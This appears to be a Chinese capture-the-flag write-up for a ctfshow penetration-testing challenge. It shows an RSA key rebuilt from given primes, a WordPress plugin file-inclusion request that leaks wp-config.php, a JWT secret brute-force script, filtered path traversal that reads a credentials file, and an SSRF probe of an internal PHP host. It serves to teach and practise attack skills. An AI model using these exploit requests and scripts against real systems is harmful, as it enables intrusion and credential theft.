前言
马上就要期末考但还是来打了,给3-1困了好几天,还好最后没挂科(
官方wp:https://ysynrh77rj.feishu.cn/docx/F3nJdGJHjo1DSBx8c2TcecLrnvh
第一章
启程
出师未捷身先死
hint:
633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
仔细看一下三行应该是代表n,p,q
还给了加密压缩包,不会misc,启程失败(
哎卧槽怎么是爆6位数字

难绷
flag:ctfshow{654321}
破解加密通讯

if __name__ == '__main__':
    try:
        import secretMessageResponse
    except ImportError:
        import pip
        pip.main(['install', 'secretMessageResponse'])
        from secretMessageResponse import printMessage
这个是所谓的特工保密的通讯手法
pip secretMessageResponse 库下来看看源码
printMessage.py
import base64,datetime
message = {
    "inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
    "inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
    "inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',
}
def printMessage():
    for key, value in message.items():
        title = key.replace('inputMessage_', '')
        print("\033[1;31m" + "请使用组织分配的私钥解密后使用" + "\033[0m")
        title = datetime.datetime.strptime(title, '%Y%m%d').strftime('%Y-%m-%d')
        print("----------------------------------------------------------")
        print(title)
        print(value)
        print("----------------------------------------------------------")
        print("\n")
# 最新流通公钥
def getPublicKey():
    return b'''
    -----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw
yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw
BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63
TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz
dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi
UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK
gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ
3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y
pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t
5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ
OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt
zWn8oPZfzL346at5DDIwD2kCAwEAAQ==
-----END PUBLIC KEY-----
'''
def enctryptMessage(message):
    import base64
    message_bytes = message.encode('utf-8')  
    message_base64 = base64.b64encode(message_bytes).decode('utf-8')
    publicKey = getPublicKey()
    from cryptography.hazmat.backends import default_backend
    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    from cryptography.hazmat.primitives import hashes
    public_key = serialization.load_pem_public_key(publicKey, backend=default_backend())
    encrypted = public_key.encrypt(
        message_base64.encode('utf-8'),
        padding.OAEP(
            mgf=padding.MGF1(algorithm=hashes.SHA256()),
            algorithm=hashes.SHA256(),
            label=None
        )
    )
    encrypted_base64 = base64.b64encode(encrypted).decode('utf-8')
    return encrypted_base64
printMessage()
那么我们尝试调用一下这个 printMessage
直接执行from secretMessageResponse import printMessage
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-12-16
gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=
----------------------------------------------------------
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-04-11
Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=
----------------------------------------------------------
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-03-05
ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=
----------------------------------------------------------
用hint.txt给的p,q生成私钥
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
e = 65537
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
n = p*q
phi = (p-1)*(q-1)
d = inverse(65537,phi)
key = (n,e,d)
private = RSA.construct(key)
with open("privatekey.pem","wb") as f:
    f.write(private.export_key())

2024-03-05
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改 
发送人:Dylan
2024-04-11
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接 
发送人:Dylan
2024-12-16
Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan
flag:ctfshow{https://task.ctfer.com}
潜入敌营
启动靶机,dirsearch 扫出 openapi.json,是个 fastapi 服务
{
  "openapi": "3.1.0",
  "info": {
    "title": "FastAPI",
    "version": "0.1.0"
  },
  "paths": {
    "/login": {
      "post": {
        "summary": "Login",
        "operationId": "login_login_post",
        "requestBody": {
          "content": {
            "application/x-www-form-urlencoded": {
              "schema": {
                "$ref": "#/components/schemas/Body_login_login_post"
              }
            }
          },
          "required": true
        },
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Token"
                }
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/": {
      "get": {
        "summary": "Root",
        "operationId": "root__get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/task_newest": {
      "get": {
        "summary": "Task Newest",
        "operationId": "task_newest_task_newest_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/task_completed": {
      "get": {
        "summary": "Task Completed",
        "operationId": "task_completed_task_completed_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/task_cancelled": {
      "get": {
        "summary": "Task Cancelled",
        "operationId": "task_cancelled_task_cancelled_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/message_inbox": {
      "get": {
        "summary": "Message Inbox",
        "operationId": "message_inbox_message_inbox_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/message_sent": {
      "get": {
        "summary": "Message Sent",
        "operationId": "message_sent_message_sent_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/messageBox": {
      "get": {
        "summary": "Messagebox",
        "operationId": "messageBox_messageBox_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/listTaskFiles": {
      "get": {
        "summary": "Listtaskfiles",
        "operationId": "listTaskFiles_listTaskFiles_get",
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ],
        "parameters": [
          {
            "name": "path",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "taskfiles",
              "title": "Path"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/readTaskFile": {
      "get": {
        "summary": "Readtaskfile",
        "operationId": "readTaskFile_readTaskFile_get",
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ],
        "parameters": [
          {
            "name": "path",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "taskfiles",
              "title": "Path"
            }
          },
          {
            "name": "file_name",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "",
              "title": "File Name"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/downloadTaskFile": {
      "get": {
        "summary": "Downloadtaskfile",
        "operationId": "downloadTaskFile_downloadTaskFile_get",
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ],
        "parameters": [
          {
            "name": "url",
            "in": "query",
            "required": false,
            "schema": {
              "type": "string",
              "default": "",
              "title": "Url"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          },
          "422": {
            "description": "Validation Error",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HTTPValidationError"
                }
              }
            }
          }
        }
      }
    },
    "/getPhone": {
      "get": {
        "summary": "Getphone",
        "operationId": "getPhone_getPhone_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/getServerInfo": {
      "get": {
        "summary": "Getip",
        "operationId": "getIP_getServerInfo_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        },
        "security": [
          {
            "OAuth2PasswordBearer": []
          }
        ]
      }
    },
    "/checkServer": {
      "get": {
        "summary": "Checkserver",
        "operationId": "checkServer_checkServer_get",
        "responses": {
          "200": {
            "description": "Successful Response",
            "content": {
              "application/json": {
                "schema": {}
              }
            }
          }
        }
      }
    }
  },
  "components": {
    "schemas": {
      "Body_login_login_post": {
        "properties": {
          "grant_type": {
            "anyOf": [
              {
                "type": "string",
                "pattern": "password"
              },
              {
                "type": "null"
              }
            ],
            "title": "Grant Type"
          },
          "username": {
            "type": "string",
            "title": "Username"
          },
          "password": {
            "type": "string",
            "title": "Password"
          },
          "scope": {
            "type": "string",
            "title": "Scope",
            "default": ""
          },
          "client_id": {
            "anyOf": [
              {
                "type": "string"
              },
              {
                "type": "null"
              }
            ],
            "title": "Client Id"
          },
          "client_secret": {
            "anyOf": [
              {
                "type": "string"
              },
              {
                "type": "null"
              }
            ],
            "title": "Client Secret"
          }
        },
        "type": "object",
        "required": [
          "username",
          "password"
        ],
        "title": "Body_login_login_post"
      },
      "HTTPValidationError": {
        "properties": {
          "detail": {
            "items": {
              "$ref": "#/components/schemas/ValidationError"
            },
            "type": "array",
            "title": "Detail"
          }
        },
        "type": "object",
        "title": "HTTPValidationError"
      },
      "Token": {
        "properties": {
          "access_token": {
            "type": "string",
            "title": "Access Token"
          },
          "token_type": {
            "type": "string",
            "title": "Token Type"
          }
        },
        "type": "object",
        "required": [
          "access_token",
          "token_type"
        ],
        "title": "Token"
      },
      "ValidationError": {
        "properties": {
          "loc": {
            "items": {
              "anyOf": [
                {
                  "type": "string"
                },
                {
                  "type": "integer"
                }
              ]
            },
            "type": "array",
            "title": "Location"
          },
          "msg": {
            "type": "string",
            "title": "Message"
          },
          "type": {
            "type": "string",
            "title": "Error Type"
          }
        },
        "type": "object",
        "required": [
          "loc",
          "msg",
          "type"
        ],
        "title": "ValidationError"
      }
    },
    "securitySchemes": {
      "OAuth2PasswordBearer": {
        "type": "oauth2",
        "flows": {
          "password": {
            "scopes": {},
            "tokenUrl": "login"
          }
        }
      }
    }
  }
}
路由
[
    "/login",
    "/",
    "/task_newest",
    "/task_completed",
    "/task_cancelled",
    "/message_inbox",
    "/message_sent",
    "/messageBox",
    "/listTaskFiles",
    "/readTaskFile",
    "/downloadTaskFile",
    "/getPhone",
    "/getServerInfo",
    "/checkServer"
]
然后猜测得去前面提到的某动保站实际打点一下了,是个wordpress
直接wpscan扫一下:

发现有个文件包含,看下poc:https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b/
http://example.com/?aam-media=wp-config.php
下载 wp-config.php 得到数据库账密

flag:ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}
第二章(Fastapi)
秘密潜伏
账密 hsinchug_wp1:Q.4Vyj8VCiedX1KYU5g05

发现key

key:4a4f7d6e8b5??Dc7f
总之先把之前 fastapi 的每个接口都测一遍:

以下路由需要高权限
/listTaskFiles
/readTaskFile
/downloadTaskFile
现在准备写脚本爆破 jwt
import string
import jwt
import itertools
import requests
from tqdm import *
# 定义 Payload 数据
payload = {
    "sub": "dylan",
    "exp": 1735985106
}
# 生成所有可能的替换字符
possible_chars = "0123456789abcdef"
combinations = itertools.product(possible_chars, repeat=3)
# 遍历所有可能的替换字符组合
for i in tqdm(combinations):
    chars = ''.join(i)
    modified_key = "4a4f7d6e8b5" + chars + "0c7f"
    # print(modified_key)
    # # 生成 JWT
    token = jwt.encode(payload, (modified_key), algorithm='HS256')
    # print(token)
    headers = {'Authorization': f'Bearer {token}'}
    # 发送 HTTP 请求
    url = 'http://94e3c5a5-9608-4bf6-bc9a-519026a4f79c.challenge.ctf.show/'
    res = requests.get(url, headers=headers)
    if res.status_code == 200:
        print(modified_key)
        print(token)
        break
爆出key:4a4f7d6e8b5e3a0c7f
token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNTk4NTEwNn0.7lqthRIUXMlHFLv8J25BF2qzoMn6EbXaJHeLLKuy6VI
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjA4NTIwOH0.qCHIJugF1Q4TQexDG_vydZbJhUPz9WWXs4_ikK9pagI
访问 /getPhone 接口拿到 dylan 的电话号码

flag:ctfshow{117447685307}
收集敌方身份信息
以 dylan 身份过一遍接口

那么 dylan 的账密为dylan:8f7a55c6d9a7d9a7

文件读取
使用 /listTaskFiles?path遍历目录,发现不能目录穿越,测了一下把 / 和 \ ban了,但是..能用
使用 /readTaskFile?path=&file_name= 读取文件,同样有上面的waf,而且还ban了app.py

init_users.json
{
    "hsinchug_wp1": {
        "username": "hsinchug_wp1",
        "password": "Q.4Vyj8VCiedX1KYU5g05"
    },
    "dylan": {
        "username": "dylan",
        "password": "8f7a55c6d9a7d9a7"
    },
    "secret_user": {
        "username": "root",
        "password": "7y.(sc#Ac_"
    }
}
flag:ctfshow{7y.(sc#Ac_}
main.py.bak
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name)
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
@app.route('/', methods=['GET'])
def index():
    session['user'] = 'guest'
    return {'message': 'log server is running'}
def check_session():
    if 'user' not in session:
        return False
    if session['user'] != 'admin':
        return False
    return True
@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()
        return {'message': 'key', 'key': key}
@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}
    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/' + logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/' + logFile)
    return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}
    logFile = request.args.get('logFile')
    path = join('log', basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass
if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)
requirements.txt
annotated-types==0.6.0
anyio==4.3.0
bcrypt==4.2.1
black==24.10.0
blinker==1.8.2
certifi==2024.2.2
cffi==1.17.1
charset-normalizer==3.3.2
click==8.1.7
colorama==0.4.6
cos-python-sdk-v5==1.9.33
crcmod==1.7
cryptography==44.0.0
dnspython==2.6.1
docutils==0.21.2
email_validator==2.1.1
fastapi==0.115.6
fastapi-cli==0.0.3
Flask==3.0.3
greenlet==3.0.3
h11==0.14.0
httpcore==1.0.5
httptools==0.6.1
httpx==0.27.0
idna==3.6
itsdangerous==2.2.0
jaraco.classes==3.4.0
jaraco.context==6.0.1
jaraco.functools==4.1.0
Jinja2==3.1.4
keyring==25.5.0
markdown-it-py==3.0.0
MarkupSafe==2.1.5
mdurl==0.1.2
more-itertools==10.5.0
mypy-extensions==1.0.0
nh3==0.2.20
orjson==3.10.3
packaging==24.2
passlib==1.7.4
pathspec==0.12.1
pkginfo==1.12.0
platformdirs==4.3.6
pycparser==2.22
pycryptodome==3.21.0
pydantic==2.7.1
pydantic_core==2.18.2
Pygments==2.18.0
PyJWT==2.10.1
PyMySQL==1.1.0
python-dotenv==1.0.1
python-multipart==0.0.9
pywin32-ctypes==0.2.3
PyYAML==6.0.1
readme_renderer==44.0
requests==2.31.0
requests-toolbelt==1.0.0
rfc3986==2.0.0
rich==13.7.1
secretMessageResponse==2.0.17
setuptools==75.6.0
shellingham==1.5.4
six==1.17.0
sniffio==1.3.1
SQLAlchemy==2.0.30
sqlmodel==0.0.22
starlette==0.41.3
tencentcloud-sdk-python==3.0.1145
twine==6.0.1
typer==0.12.3
typing_extensions==4.11.0
ujson==5.10.0
urllib3==2.2.1
uvicorn==0.29.0
watchfiles==0.21.0
websockets==12.0
Werkzeug==3.0.3
xmltodict==0.14.2

这里都是实体类没东西
横向渗透
在 /downloadTaskFile 这里测试前面 /getServerInfo 接口获取的 ip c段,测出内网php服务

{"success":0,"url":"http://172.2.240.5","file_content":"\n<!DOCTYPE html lang=\"en\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Database TEST</title>\n\t<script>\n\t\tconst DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';\n\t</script>\n</head>\n\n<body>\n    <h1>Welcome to Database TEST</h1>\n    <p>This is a test page for database connection and queries.</p>\n    <form action=\"index.php\" method=\"get\">\n        <label for=\"name\">Enter Database username:</label>\n        <input type=\"text\" id=\"name\" name=\"username\" required>\n        <br><br>\n        <label for=\"password\">Enter Database password:</label>\n        <input type=\"password\" id=\"password\" name=\"password\" required>\n        <br><br>\n        <label for=\"dsn\">Enter Database DSN:</label>\n        <input type=\"text\" id=\"dsn\" name=\"dsn\" required>\n        <br><br>\n        <label for=\"query\">Enter TEST Query:</label>\n        <input type=\"text\" id=\"query\" name=\"query\" required>\n        <br><br>\n        <input type=\"submit\" value=\"Submit\">\n    </form>\n</body>\n\n<html>\n\n\n","request_headers":{"User-Agent":"python-requests/2.31.0","Accept-Encoding":"gzip, deflate","Accept":"*/*","Connection":"keep-alive"},"response_headers":{"Server":"nginx/1.14.2","Date":"Fri, 03 Jan 2025 10:57:34 GMT","Content-Type":"text/html; charset=UTF-8","Transfer-Encoding":"chunked","Connection":"keep-alive","X-Powered-By":"PHP/7.2.24","Content-Encoding":"gzip"}}
